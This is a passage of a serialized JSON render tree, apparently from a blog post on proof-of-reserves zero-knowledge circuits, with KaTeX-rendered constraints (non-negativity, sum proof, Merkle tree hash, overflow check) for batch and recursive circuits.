"className":93086,"style":92241},[3258],[],{"type":23,"tag":314,"props":93089,"children":93091},{"className":93090},[3264,20825],[93092],{"type":28,"value":31},{"type":23,"tag":314,"props":93094,"children":93096},{"className":93095},[3264,20825],[93097],{"type":28,"value":92290},{"type":23,"tag":314,"props":93099,"children":93101},{"className":93100},[3264,20825],[93102],{"type":28,"value":20967},{"type":23,"tag":314,"props":93104,"children":93106},{"className":93105,"style":92299},[3264],[93107],{"type":28,"value":2338},{"type":23,"tag":314,"props":93109,"children":93111},{"className":93110},[3264,20825],[93112],{"type":28,"value":24},{"type":23,"tag":314,"props":93114,"children":93116},{"className":93115,"style":92299},[3264,20825],[93117],{"type":28,"value":93118},"r",{"type":23,"tag":314,"props":93120,"children":93122},{"className":93121},[3264,20825],[93123],{"type":28,"value":2993},{"type":23,"tag":314,"props":93125,"children":93127},{"className":93126},[3264,20825],[93128],{"type":28,"value":93129},"ces",{"type":23,"tag":314,"props":93131,"children":93133},{"className":93132},[20954],[93134],{"type":28,"value":1312},{"type":23,"tag":314,"props":93136,"children":93138},{"className":93137},[3264,20825],[93139],{"type":28,"value":31},{"type":23,"tag":314,"props":93141,"children":93143},{"className":93142},[3264,20825],[93144],{"type":28,"value":92290},{"type":23,"tag":314,"props":93146,"children":93148},{"className":93147},[3264,20825],[93149],{"type":28,"value":20967},{"type":23,"tag":314,"props":93151,"children":93153},{"className":93152,"style":92299},[3264],[93154],{"type":28,"value":2338},{"type":23,"tag":314,"props":93156,"children":93158},{"className":93157},[3264,20825],[93159],{"type":28,"value":55654},{"type":23,"tag":314,"props":93161,"children":93163},{"className":93162},[3264,20825],[93164],{"type":28,"value":92558},{"type":23,"tag":314,"props":93166,"children":93168},{"className":93167},[3264,20825],[93169],{"type":28,"value":50384},{"type":23,"tag":314,"props":93171,"children":93173},{"className":93172},[20976],[93174],{"type":28,"value":14653},{"type":23,"tag":88,"props":93176,"children":93177},{},[93178,93337,93338],{"type":23,"tag":94,"props":93179,"children":93181},{"className":93180},[3237,3238],[93182],{"type":23,"tag":314,"props":93183,"children":93185},{"className":93184},[3243],[93186],{"type":23,"tag":314,"props":93187,"children":93189},{"className":93188,"ariaHidden":1481},[3248],[93190,93323],{"type":23,"tag":314,"props":93191,"children":93193},{"className":93192},[3253],[93194,93198,93203,93208,93213,93218,93223,93228,93233,93238,93243,93248,93253,93310,93314,93319],{"type":23,"tag":314,"props":93195,"children":93197},{"className":93196,"style":92744},[3258],[],{"type":23,"tag":314,"props":93199,"children":93201},{"className":93200},[3264,20825],[93202],{"type":28,"value":31},{"type":23,"tag":314,"props":93204,"children":93206},{"className":93205},[3264,20825],[93207],{"type":28,"value":92756},{"type":23,"tag":314,"props":93209,"children":93211},{"className":93210},[3264,20825],[93212],{"type":28,"value":92558},{"type":23,"tag":314,"props":93214,"children":93216},{"className":93215},[3264,20825],[93217],{"type":28,"value":55654},{"type":23,"tag":314,"props":93219,"children":93221},{"className":93220},[3264,20825],[93222],{"type":28,"value":20967},{"type":23,"tag":314,"props":93224,"children":93226},{"className":93225,"style":92299},[3264],[93227],{"type":28,"value":2338},{"type":23,"tag":314,"props":93229,"children":93231},{"className":93230},[3264,20825],[93232],{"type":28,"value":50705},{"type":23,"tag":314,"props":93234,"children":93236},{"className":93235,"style":92785},[3264,20825],[93237],{"type":28,"value":92788},{"type":23,"tag":314,"props":93239,"children":93241},{"className":93240},[3264,20825],[93242],{"type":28,"value":92558},{"type":23,"tag":314,"props":93244,"children":93246},{"className":93245},[3264,20825],[93247],{"type":28,"value":2993},{"type":23,"tag":314,"props":93249,"children":93251},{"className":93250},[3264,20825],[93252],{"type":28,"value":20967},{"type":23,"tag":314,"props":93254,"children":93256},{"className":93255},[3264],[93257,93262],{"type":23,"tag":314,"props":93258,"children":93260},{"className":93259,"style":92785},[3264,20825],[93261],{"type":28,"value":2369},{"type":23,"tag":314,"props":93263,"children":93265},{"className":93264},[3280],[93266],{"type":23,"tag":314,"props":93267,"children":93269},{"className":93268},[3285,20879],[93270,93299],{"type":23,"tag":314,"props":93271,"children":93273},{"className":93272},[3290],[93274,93294],{"type":23,"tag":314,"props":93275,"children":93277},{"className":93276,"style":92828},[3295],[93278],{"type":23,"tag":314,"props":93279,"children":93280},{"style":92832},[93281,93285],{"type":23,"tag":314,"props":93282,"children":93284},{"className":93283,"style":3305},[3304],[],{"type":23,"tag":314,"props":93286,"children":93288},{"className":93287},[3310,3311,3312,3313],[93289],{"type":23,"tag":314,"props":93290,"children":93292},{"className":93291},[3264,20825,3313],[93293],{"type":28,"value":2993},{"type":23,"tag":314,"props":93295,"children":93297},{"className":93296},[20982],[93298],{"type":28,"value":20985},{"type":23,"tag":314,"props":93300,"children":93302},{"className":93301},[3290],[93303],{"type":23,"tag":314,"props":93304,"children":93306},{"className":93305,"style":92382},[3295],[93307],{"type":23,"tag":314,"props":93308,"children":93309},{},[],{"type":23,"tag":314,"props":93311,"children":93313},{"className":93312,"style":3442},[3344],[],{"type":23,"tag":314,"props":93315,"children":93317},{"className":93316},[3447],[93318],{"type":28,"value":9191},{"type":23,"tag":314,"props":93320,"children":93322},{"className":93321,"style":3442},[3344],[],{"type":23,"tag":314,"props":93324,"children":93326},{"className":93325},[3253],[93327,93332],{"type":23,"tag":314,"props":93328,"children":93331},{"className":93329,"style":93330},[3258],"height:0.6444em;",[],{"type":23,"tag":314,"props":93333,"children":93335},{"className":93334},[3264],[93336],{"type":28,"value":1600},{"type":28,"value":5713},{"type":23,"tag":721,"props":93339,"children":93340},{},[93341],{"type":28,"value":93342},"(non-negativity)",{"type":23,"tag":88,"props":93344,"children":93345},{},[93346,93684,93685],{"type":23,"tag":94,"props":93347,"children":93349},{"className":93348},[3237,3238],[93350],{"type":23,"tag":314,"props":93351,"children":93353},{"className":93352},[3243],[93354],{"type":23,"tag":314,"props":93355,"children":93357},{"className":93356,"ariaHidden":1481},[3248],[93358,93494],{"type":23,"tag":314,"props":93359,"children":93361},{"className":93360},[3253],[93362,93366,93371,93376,93381,93386,93391,93396,93401,93406,93411,93416,93421,93426,93431,93436,93441,93446,93451,93456,93461,93466,93471,93476,93481,93485,93490],{"type":23,"tag":314,"props":93363,"children":93365},{"className":93364,"style":92241},[3258],[],{"type":23,"tag":314,"props":93367,"children":93369},{"className":93368},[3264,20825],[93370],{"type":28,"value":20967},{"type":23,"tag":314,"props":93372,"children":93374},{"className":93373},[3264,20825],[93375],{"type":28,"value":92269},{"type":23,"tag":314,"props":93377,"children":93379},{"className":93378},[3264,20825],[93380],{"type":28,"value":20967},{"type":23,"tag":314,"props":93382,"children":93384},{"className":93383},[3264,20825],[93385],{"type":28,"value":31},{"type":23,"tag":314,"props":93387,"children":93389},{"className":93388,"style":92311},[3264,20825],[93390],{"type":28,"value":92314},{"type":23,"tag":314,"props":93392,"children":93394},{"className":93393,"style":92299},[3264],[93395],{"type":28,"value":2338},{"type":23,"tag":314,"props":93397,"children":93399},{"className":93398},[3264,20825],[93400],{"type":28,"value":31},{"type":23,"tag":314,"props":93402,"children":93404},{"className":93403},[3264,20825],[93405],{"type":28,"value":92290},{"type":23,"tag":314,"props":93407,"children":93409},{"className":93408},[3264,20825],[93410],{"type":28,"value":20967},{"type":23,"tag":314,"props":93412,"children":93414},{"className":93413,"style":92299},[3264],[93415],{"type":28,"value":2338},{"type":23,"tag":314,"props":93417,"children":93419},{"className":93418},[3264,20825],[93420],{"type":28,"value":92307},{"type":23,"tag":314,"props":93422,"children":93424},{"className":93423,"style":92311},[3264,20825],[93425],{"type":28,"value":92314},{"type":23,"tag":314,"props":93427,"children":93429},{"className":93428},[3264,20825],[93430],{"type":28,"value":92320},{"type":23,"tag":314,"props":93432,"children":93434},{"className":93433},[3264,20825],[93435],{"type":28,"value":92326},{"type":23,"tag":314,"props":93437,"children":93439},{"className":93438},[20954],[93440],{"type":28,"value":1312},{"type":23,"tag":314,"props":93442,"children":93444},{"className":93443},[3264,20825],[93445],{"type":28,"value":31},{"type":23,"tag":314,"props":93447,"children":93449},{"className":93448},[3264,20825],[93450],{"type":28,"value":92290},{"type":23,"tag":314,"props":93452,"children":93454},{"className":93453},[3264,20825],[93455],{"type":28,"value":20967},{"type":23,"tag":314,"props":93457,"children":93459},{"className":93458,"style":92299},[3264],[93460],{"type":28,"value":2338},{"type":23,"tag":314,"props":93462,"children":93464},{"className":93463},[3264,20825],[93465],{"type":28,"value":55654},{"type":23,"tag":314,"props":93467,"children":93469},{"className":93468},[3264,20825],[93470],{"type":28,"value":92558},{"type":23,"tag":314,"props":93472,"children":93474},{"className":93473},[3264,20825],[93475],{"type":28,"value":50384},{"type":23,"tag":314,"props":93477,"children":93479},{"className":93478},[20976],[93480],{"type":28,"value":14653},{"type":23,"tag":314,"props":93482,"children":93484},{"className":93483,"style":3442},[3344],[],{"type":23,"tag":314,"props":93486,"children":93488},{"className":93487},[3447],[93489],{"type":28,"value":7828},{"type":23,"tag":314,"props":93491,"children":93493},{"className":93492,"style":3442},[3344],[],{"type":23,"tag":314,"props":93495,"children":93497},{"className":93496},[3253],[93498,93502,93507,93512,93517,93522,93527,93532,93537,93542,93547,93552,93557,93562,93567,93572,93577,93582,93639,93644,93649,93654,93659,93664,93669,93674,93679],{"type":23,"tag":314,"props":93499,"children":93501},{"className":93500,"style":92241},[3258],[],{"type":23,"tag":314,"props":93503,"children":93505},{"className":93504},[3264],[93506],{"type":28,"value":92889},{"type":23,"tag":314,"props":93508,"children":93510},{"className":93509},[3344],[93511],{"type":28,"value":20926},{"type":23,"tag":314,"props":93513,"children":93515},{"className":93514},[3264,20825],[93516],{"type":28,"value":31},{"type":23,"tag":314,"props":93518,"children":93520},{"className":93519},[3264,20825],[93521],{"type":28,"value":92756},{"type":23,"tag":314,"props":93523,"children":93525},{"className":93524},[3264,20825],[93526],{"type":28,"value":92558},{"type":23,"tag":314,"props":93528,"children":93530},{"className":93529},[3264,20825],[93531],{"type":28,"value":55654},{"type":23,"tag":314,"props":93533,"children":93535},{"className":93534},[3264,20825],[93536],{"type":28,"value":20967},{"type":23,"tag":314,"props":93538,"children":93540},{"className":93539,"style":92299},[3264],[93541],{"type":28,"value":2338},{"type":23,"tag":314,"props":93543,"children":93545},{"className":93544},[3264,20825],[93546],{"type":28,"value":31},{"type":23,"tag":314,"props":93548,"children":93550},{"className":93549},[3264,20825],[93551],{"type":28,"value":92290},{"type":23,"tag":314,"props":93553,"children":93555},{"className":93554},[3264,20825],[93556],{"type":28,"value":20967},{"type":23,"tag":314,"props":93558,"children":93560},{"className":93559,"style":92299},[3264],[93561],{"type":28,"value":2338},{"type":23,"tag":314,"props":93563,"children":93565},{"className":93564},[3264,20825],[93566],{"type":28,"value":92307},{"type":23,"tag":314,"props":93568,"children":93570},{"className":93569,"style":92311},[3264,20825],[93571],{"type":28,"value":92314},{"type":23,"tag":314,"props":93573,"children":93575},{"className":93574},[3264,20825],[93576],{"type":28,"value":92320},{"type":23,"tag":314,"props":93578,"children":93580},{"className":93579},[3264,20825],[93581],{"type":28,"value":92326},{"type":23,"tag":314,"props":93583,"children":93585},{"className":93584},[3264],[93586,93591],{"type":23,"tag":314,"props":93587,"children":93589},{"className":93588},[3264,20825],[93590],{"type":28,"value":9900},{"type":23,"tag":314,"props":93592,"children":93594},{"className":93593},[3280],[93595],{"type":23,"tag":314,"props":93596,"children":93598},{"className":93597},[3285,20879],[93599,93628],{"type":23,"tag":314,"props":93600,"children":93602},{"className":93601},[3290],[93603,93623],{"type":23,"tag":314,"props":93604,"children":93606},{"className":93605,"style":92828},[3295],[93607],{"type":23,"tag":314,"props":93608,"children":93609},{"style":92355},[93610,93614],{"type":23,"tag":314,"props":93611,"children":93613},{"className":93612,"style":3305},[3304],[],{"type":23,"tag":314,"props":93615,"children":93617},{"className":93616},[3310,3311,3312,3313],[93618],{"type":23,"tag":314,"props":93619,"children":93621},{"className":93620},[3264,20825,3313],[93622],{"type":28,"value":2993},{"type":23,"tag":314,"props":93624,"children":93626},{"className":93625},[20982],[93627],{"type":28,"value":20985},{"type":23,"tag":314,"props":93629,"children":93631},{"className":93630},[3290],[93632],{"type":23,"tag":314,"props":93633,"children":93635},{"className":93634,"style":92382},[3295],[93636],{"type":23,"tag":314,"props":93637,"children":93638},{},[],{"type":23,"tag":314,"props":93640,"children":93642},{"className":93641},[20954],[93643],{"type":28,"value":1312},{"type":23,"tag":314,"props":93645,"children":93647},{"className":93646},[3264,20825],[93648],{"type":28,"value":31},{"type":23,"tag":314,"props":93650,"children":93652},{"className":93651},[3264,20825],[93653],{"type":28,"value":92290},{"type":23,"tag":314,"props":93655,"children":93657},{"className":93656},[3264,20825],[93658],{"type":28,"value":20967},{"type":23,"tag":314,"props":93660,"children":93662},{"className":93661,"style":92299},[3264],[93663],{"type":28,"value":2338},{"type":23,"tag":314,"props":93665,"children":93667},{"className":93666},[3264,20825],[93668],{"type":28,"value":55654},{"type":23,"tag":314,"props":93670,"children":93672},{"className":93671},[3264,20825],[93673],{"type":28,"value":92558},{"type":23,"tag":314,"props":93675,"children":93677},{"className":93676},[3264,20825],[93678],{"type":28,"value":50384},{"type":23,"tag":314,"props":93680,"children":93682},{"className":93681},[20976],[93683],{"type":28,"value":14653},{"type":28,"value":5713},{"type":23,"tag":721,"props":93686,"children":93687},{},[93688],{"type":28,"value":93689},"(sum proof)",{"type":23,"tag":88,"props":93691,"children":93692},{},[93693,94082,94083],{"type":23,"tag":94,"props":93694,"children":93696},{"className":93695},[3237,3238],[93697],{"type":23,"tag":314,"props":93698,"children":93700},{"className":93699},[3243],[93701],{"type":23,"tag":314,"props":93702,"children":93704},{"className":93703,"ariaHidden":1481},[3248],[93705,93791],{"type":23,"tag":314,"props":93706,"children":93708},{"className":93707},[3253],[93709,93714,93719,93725,93731,93736,93741,93746,93751,93757,93762,93768,93773,93778,93782,93787],{"type":23,"tag":314,"props":93710,"children":93713},{"className":93711,"style":93712},[3258],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":314,"props":93715,"children":93717},{"className":93716},[3264,20825],[93718],{"type":28,"value":50384},{"type":23,"tag":314,"props":93720,"children":93722},{"className":93721,"style":92299},[3264,20825],[93723],{"type":28,"value":93724},"er",{"type":23,"tag":314,"props":93726,"children":93729},{"className":93727,"style":93728},[3264,20825],"margin-right:0.03148em;",[93730],{"type":28,"value":87936},{"type":23,"tag":314,"props":93732,"children":93734},{"className":93733,"style":92311},[3264,20825],[93735],{"type":28,"value":92314},{"type":23,"tag":314,"props":93737,"children":93739},{"className":93738},[3264,20825],[93740],{"type":28,"value":50705},{"type":23,"tag":314,"props":93742,"children":93744},{"className":93743,"style":92299},[3264],[93745],{"type":28,"value":2338},{"type":23,"tag":314,"props":93747,"children":93749},{"className":93748},[3264,20825],[93750],{"type":28,"value":20967},{"type":23,"tag":314,"props":93752,"children":93754},{"className":93753},[3264,20825],[93755],{"type":28,"value":93756},"ree",{"type":23,"tag":314,"props":93758,"children":93760},{"className":93759,"style":92299},[3264],[93761],{"type":28,"value":2338},{"type":23,"tag":314,"props":93763,"children":93765},{"className":93764},[3264,20825],[93766],{"type":28,"value":93767},"ha",{"type":23,"tag":314,"props":93769,"children":93771},{"className":93770},[3264,20825],[93772],{"type":28,"value":9900},{"type":23,"tag":314,"props":93774,"children":93776},{"className":93775},[3264,20825],[93777],{"type":28,"value":83597},{"type":23,"tag":314,"props":93779,"children":93781},{"className":93780,"style":3442},[3344],[],{"type":23,"tag":314,"props":93783,"children":93785},{"className":93784},[3447],[93786],{"type":28,"value":7828},{"type":23,"tag":314,"props":93788,"children":93790},{"className":93789,"style":3442},[3344],[],{"type":23,"tag":314,"props":93792,"children":93794},{"className":93793},[3253],[93795,93799,93804,93809,93814,93819,93824,93829,93834,93839,93844,93901,93906,93910,93915,93920,93977,93982,93987,93991,93996,94001,94005,94010,94015,94077],{"type":23,"tag":314,"props":93796,"children":93798},{"className":93797,"style":3365},[3258],[],{"type":23,"tag":314,"props":93800,"children":93802},{"className":93801,"style":20826},[3264,20825],[93803],{"type":28,"value":20829},{"type":23,"tag":314,"props":93805,"children":93807},{"className":93806},[3264,20825],[93808],{"type":28,"value":92253},{"type":23,"tag":314,"props":93810,"children":93812},{"className":93811},[3264,20825],[93813],{"type":28,"value":2993},{"type":23,"tag":314,"props":93815,"children":93817},{"className":93816},[3264,20825],[93818],{"type":28,"value":69817},{"type":23,"tag":314,"props":93820,"children":93822},{"className":93821},[3264,20825],[93823],{"type":28,"value":92269},{"type":23,"tag":314,"props":93825,"children":93827},{"className":93826},[3264,20825],[93828],{"type":28,"value":55654},{"type":23,"tag":314,"props":93830,"children":93832},{"className":93831},[20954],[93833],{"type":28,"value":341},{"type":23,"tag":314,"props":93835,"children":93837},{"className":93836},[3264,20825],[93838],{"type":28,"value":93767},{"type":23,"tag":314,"props":93840,"children":93842},{"className":93841},[3264,20825],[93843],{"type":28,"value":9900},{"type":23,"tag":314,"props":93845,"children":93847},{"className":93846},[3264],[93848,93853],{"type":23,"tag":314,"props":93849,"children":93851},{"className":93850},[3264,20825],[93852],{"type":28,"value":83597},{"type":23,"tag":314,"props":93854,"children":93856},{"className":93855},[3280],[93857],{"type":23,"tag":314,"props":93858,"children":93860},{"className":93859},[3285,20879],[93861,93890],{"type":23,"tag":314,"props":93862,"children":93864},{"className":93863},[3290],[93865,93885],{"type":23,"tag":314,"props":93866,"children":93868},{"className":93867,"style":92351},[3295],[93869],{"type":23,"tag":314,"props":93870,"children":93871},{"style":92355},[93872,93876],{"type":23,"tag":314,"props":93873,"children":93875},{"className":93874,"style":3305},[3304],[],{"type":23,"tag":314,"props":93877,"children":93879},{"className":93878},[3310,3311,3312,3313],[93880],{"type":23,"tag":314,"props":93881,"children":93883},{"className":93882},[3264,3313],[93884],{"type":28,"value":1600},{"type":23,"tag":314,"props":93886,"children":93888},{"className":93887},[20982],[93889],{"type":28,"value":20985},{"type":23,"tag":314,"props":93891,"children":93893},{"className":93892},[3290],[93894],{"type":23,"tag":314,"props":93895,"children":93897},{"className":93896,"style":92382},[3295],[93898],{"type":23,"tag":314,"props":93899,"children":93900},{},[],{"type":23,"tag":314,"props":93902,"children":93904},{"className":93903},[3376],[93905],{"type":28,"value":3379},{"type":23,"tag":314,"props":93907,"children":93909},{"className":93908,"style":3383},[3344],[],{"type":23,"tag":314,"props":93911,"children":93913},{"className":93912},[3264,20825],[93914],{"type":28,"value":93767},{"type":23,"tag":314,"props":93916,"children":93918},{"className":93917},[3264,20825],[93919],{"type":28,"value":9900},{"type":23,"tag":314,"props":93921,"children":93923},{"className":93922},[3264],[93924,93929],{"type":23,"tag":314,"props":93925,"children":93927},{"className":93926},[3264,20825],[93928],{"type":28,"value":83597},{"type":23,"tag":314,"props":93930,"children":93932},{"className":93931},[3280],[93933],{"type":23,"tag":314,"props":93934,"children":93936},{"className":93935},[3285,20879],[93937,93966],{"type":23,"tag":314,"props":93938,"children":93940},{"className":93939},[3290],[93941,93961],{"type":23,"tag":314,"props":93942,"children":93944},{"className":93943,"style":92351},[3295],[93945],{"type":23,"tag":314,"props":93946,"children":93947},{"style":92355},[93948,93952],{"type":23,"tag":314,"props":93949,"children":93951},{"className":93950,"style":3305},[3304],[],{"type":23,"tag":314,"props":93953,"children":93955},{"className":93954},[3310,3311,3312,3313],[93956],{"type":23,"tag":314,"props":93957,"children":93959},{"className":93958},[3264,3313],[93960],{"type":28,"value":3267},{"type":23,"tag":314,"props":93962,"children":93964},{"className":93963},[20982],[93965],{"type":28,"value":20985},{"type":23,"tag":314,"props":93967,"children":93969},{"className":93968},[3290],[93970],{"type":23,"tag":314,"props":93971,"children":93973},{"className":93972,"style":92382},[3295],[93974],{"type":23,"tag":314,"props":93975,"children":93976},{},[],{"type":23,"tag":314,"props":93978,"children":93980},{"className":93979},[3376],[93981],{"type":28,"value":3379},{"type":23,"tag":314,"props":93983,"children":93985},{"className":93984},[3344],[93986],{"type":28,"value":20926},{"type":23,"tag":314,"props":93988,"children":93990},{"className":93989,"style":3383},[3344],[],{"type":23,"tag":314,"props":93992,"children":93994},{"className":93993},[3264],[93995],{"type":28,"value":8840},{"type":23,"tag":314,"props":93997,"children":93999},{"className":93998},[3376],[94000],{"type":28,"value":3379},{"type":23,"tag":314,"props":94002,"children":94004},{"className":94003,"style":3383},[3344],[],{"type":23,"tag":314,"props":94006,"children":94008},{"className":94007},[3264,20825],[94009],{"type":28,"value":93767},{"type":23,"tag":314,"props":94011,"children":94013},{"className":94012},[3264,20825],[94014],{"type":28,"value":9900},{"type":23,"tag":314,"props":94016,"children":94018},{"className":94017},[3264],[94019,94024],{"type":23,"tag":314,"props":94020,"children":94022},{"className":94021},[3264,20825],[94023],{"type":28,"value":83597},{"type":23,"tag":314,"props":94025,"children":94027},{"className":94026},[3280],[94028],{"type":23,"tag":314,"props":94029,"children":94031},{"className":94030},[3285,20879],[94032,94066],{"type":23,"tag":314,"props":94033,"children":94035},{"className":94034},[3290],[94036,94061],{"type":23,"tag":314,"props":94037,"children":94039},{"className":94038,"style":92351},[3295],[94040],{"type":23,"tag":314,"props":94041,"children":94042},{"style":92355},[94043,94047],{"type":23,"tag":314,"props":94044,"children":94046},{"className":94045,"style":3305},[3304],[],{"type":23,"tag":314,"props":94048,"children":94050},{"className":94049},[3310,3311,3312,3313],[94051],{"type":23,"tag":314,"props":94052,"children":94054},{"className":94053},[3264,3313],[94055],{"type":23,"tag":314,"props":94056,"children":94058},{"className":94057},[3264,3313],[94059],{"type":28,"value":94060},"511",{"type":23,"tag":314,"props":94062,"children":94064},{"className":94063},[20982],[94065],{"type":28,"value":20985},{"type":23,"tag":314,"props":94067,"children":94069},{"className":94068},[3290],[94070],{"type":23,"tag":314,"props":94071,"children":94073},{"className":94072,"style":92382},[3295],[94074],{"type":23,"tag":314,"props":94075,"children":94076},{},[],{"type":23,"tag":314,"props":94078,"children":94080},{"className":94079},[20976],[94081],{"type":28,"value":431},{"type":28,"value":5713},{"type":23,"tag":721,"props":94084,"children":94085},{},[94086],{"type":28,"value":94087},"(merkle tree hash)",{"type":23,"tag":88,"props":94089,"children":94090},{},[94091,94366,94367,94372,94374,94379],{"type":23,"tag":94,"props":94092,"children":94094},{"className":94093},[3237,3238],[94095],{"type":23,"tag":314,"props":94096,"children":94098},{"className":94097},[3243],[94099],{"type":23,"tag":314,"props":94100,"children":94102},{"className":94101,"ariaHidden":1481},[3248],[94103,94296],{"type":23,"tag":314,"props":94104,"children":94106},{"className":94105},[3253],[94107,94111,94116,94121,94126,94131,94136,94141,94146,94151,94156,94161,94166,94171,94176,94181,94238,94243,94248,94253,94258,94263,94268,94273,94278,94283,94287,94292],{"type":23,"tag":314,"props":94108,"children":94110},{"className":94109,"style":92241},[3258],[],{"type":23,"tag":314,"props":94112,"children":94114},{"className":94113},[3264,20825],[94115],{"type":28,"value":31},{"type":23,"tag":314,"props":94117,"children":94119},{"className":94118},[3264,20825],[94120],{"type":28,"value":92756},{"type":23,"tag":314,"props":94122,"children":94124},{"className":94123},[3264,20825],[94125],{"type":28,"value":92558},{"type":23,"tag":314,"props":94127,"children":94129},{"className":94128},[3264,20825],[94130],{"type":28,"value":55654},{"type":23,"tag":314,"props":94132,"children":94134},{"className":94133},[3264,20825],[94135],{"type":28,"value":20967},{"type":23,"tag":314,"props":94137,"children":94139},{"className":94138,"style":92299},[3264],[94140],{"type":28,"value":2338},{"type":23,"tag":314,"props":94142,"children":94144},{"className":94143},[3264,20825],[94145],{"type":28,"value":31},{"type":23,"tag":314,"props":94147,"children":94149},{"className":94148},[3264,20825],[94150],{"type":28,"value":92290},{"type":23,"tag":314,"props":94152,"children":94154},{"className":94153},[3264,20825],[94155],{"type":28,"value":20967},{"type":23,"tag":314,"props":94157,"children":94159},{"className":94158,"style":92299},[3264],[94160],{"type":28,"value":2338},{"type":23,"tag":314,"props":94162,"children":94164},{"className":94163},[3264,20825],[94165],{"type":28,"value":92307},{"type":23,"tag":314,"props":94167,"children":94169},{"className":94168,"style":92311},[3264,20825],[94170],{"type":28,"value":92314},{"type":23,"tag":314,"props":94172,"children":94174},{"className":94173},[3264,20825],[94175],{"type":28,"value":92320},{"type":23,"tag":314,"props":94177,"children":94179},{"className":94178},[3264,20825],[94180],{"type":28,"value":92326},{"type":23,"tag":314,"props":94182,"children":94184},{"className":94183},[3264],[94185,94190],{"type":23,"tag":314,"props":94186,"children":94188},{"className":94187},[3264,20825],[94189],{"type":28,"value":9900},{"type":23,"tag":314,"props":94191,"children":94193},{"className":94192},[3280],[94194],{"type":23,"tag":314,"props":94195,"children":94197},{"className":94196},[3285,20879],[94198,94227],{"type":23,"tag":314,"props":94199,"children":94201},{"className":94200},[3290],[94202,94222],{"type":23,"tag":314,"props":94203,"children":94205},{"className":94204,"style":92828},[3295],[94206],{"type":23,"tag":314,"props":94207,"children":94208},{"style":92355},[94209,94213],{"type":23,"tag":314,"props":94210,"children":94212},{"className":94211,"style":3305},[3304],[],{"type":23,"tag":314,"props":94214,"children":94216},{"className":94215},[3310,3311,3312,3313],[94217],{"type":23,"tag":314,"props":94218,"children":94220},{"className":94219},[3264,20825,3313],[94221],{"type":28,"value":2993},{"type":23,"tag":314,"props":94223,"children":94225},{"className":94224},[20982],[94226],{"type":28,"value":20985},{"type":23,"tag":314,"props":94228,"children":94230},{"className":94229},[3290],[94231],{"type":23,"tag":314,"props":94232,"children":94234},{"className":94233,"style":92382},[3295],[94235],{"type":23,"tag":314,"props":94236,"children":94237},{},[],{"type":23,"tag":314,"props":94239,"children":94241},{"className":94240},[20954],[94242],{"type":28,"value":1312},{"type":23,"tag":314,"props":94244,"children":94246},{"className":94245},[3264,20825],[94247],{"type":28,"value":31},{"type":23,"tag":314,"props":94249,"children":94251},{"className":94250},[3264,20825],[94252],{"type":28,"value":92290},{"type":23,"tag":314,"props":94254,"children":94256},{"className":94255},[3264,20825],[94257],{"type":28,"value":20967},{"type":23,"tag":314,"props":94259,"children":94261},{"className":94260,"style":92299},[3264],[94262],{"type":28,"value":2338},{"type":23,"tag":314,"props":94264,"children":94266},{"className":94265},[3264,20825],[94267],{"type":28,"value":55654},{"type":23,"tag":314,"props":94269,"children":94271},{"className":94270},[3264,20825],[94272],{"type":28,"value":92558},{"type":23,"tag":314,"props":94274,"children":94276},{"className":94275},[3264,20825],[94277],{"type":28,"value":50384},{"type":23,"tag":314,"props":94279,"children":94281},{"className":94280},[20976],[94282],{"type":28,"value":14653},{"type":23,"tag":314,"props":94284,"children":94286},{"className":94285,"style":3442},[3344],[],{"type":23,"tag":314,"props":94288,"children":94290},{"className":94289},[3447],[94291],{"type":28,"value":5060},{"type":23,"tag":314,"props":94293,"children":94295},{"className":94294,"style":3442},[3344],[],{"type":23,"tag":314,"props":94297,"children":94299},{"className":94298},[3253],[94300,94304,94311,94316,94322,94327,94332,94337,94343,94348,94354,94360],{"type":23,"tag":314,"props":94301,"children":94303},{"className":94302,"style":92241},[3258],[],{"type":23,"tag":314,"props":94305,"children":94308},{"className":94306,"style":94307},[3264,20825],"margin-right:0.10903em;",[94309],{"type":28,"value":94310},"M",{"type":23,"tag":314,"props":94312,"children":94314},{"className":94313},[3264,20825],[94315],{"type":28,"value":76019},{"type":23,"tag":314,"props":94317,"children":94320},{"className":94318,"style":94319},[3264,20825],"margin-right:0.07847em;",[94321],{"type":28,"value":5388},{"type":23,"tag":314,"props":94323,"children":94325},{"className":94324,"style":92299},[3264],[94326],{"type":28,"value":2338},{"type":23,"tag":314,"props":94328,"children":94330},{"className":94329,"style":21284},[3264,20825],[94331],{"type":28,"value":21287},{"type":23,"tag":314,"props":94333,"children":94335},{"className":94334},[3264,20825],[94336],{"type":28,"value":76019},{"type":23,"tag":314,"props":94338,"children":94340},{"className":94339,"style":21284},[3264,20825],[94341],{"type":28,"value":94342},"FE",{"type":23,"tag":314,"props":94344,"children":94346},{"className":94345,"style":92299},[3264],[94347],{"type":28,"value":2338},{"type":23,"tag":314,"props":94349,"children":94351},{"className":94350,"style":94319},[3264,20825],[94352],{"type":28,"value":94353},"I",{"type":23,"tag":314,"props":94355,"children":94357},{"className":94356,"style":20826},[3264,20825],[94358],{"type":28,"value":94359},"NT",{"type":23,"tag":314,"props":94361,"children":94363},{"className":94362},[3264],[94364],{"type":28,"value":94365},"/512",{"type":28,"value":5713},{"type":23,"tag":721,"props":94368,"children":94369},{},[94370],{"type":28,"value":94371},"(overflow check)",{"type":28,"value":94373}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":94,"props":94375,"children":94377},{"className":94376},[],[94378],{"type":28,"value":92157},{"type":28,"value":431},{"type":23,"tag":24,"props":94381,"children":94382},{},[94383],{"type":28,"value":94384},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":24,"props":94386,"children":94387},{},[94388],{"type":23,"tag":197,"props":94389,"children":94391},{"alt":49829,"src":94390},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":837,"props":94393,"children":94395},{"id":94394},"recursive-circuit",[94396],{"type":28,"value":94397},"Recursive Circuit",{"type":23,"tag":24,"props":94399,"children":94400},{},[94401],{"type":28,"value":94402},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":24,"props":94404,"children":94405},{},[94406],{"type":23,"tag":721,"props":94407,"children":94408},{},[94409],{"type":28,"value":92671},{"type":23,"tag":127,"props":94411,"children":94412},{},[94413,94417,94422],{"type":23,"tag":88,"props":94414,"children":94415},{},[94416],{"type":28,"value":92689},{"type":23,"tag":88,"props":94418,"children":94419},{},[94420],{"type":28,"value":94421},"Asset 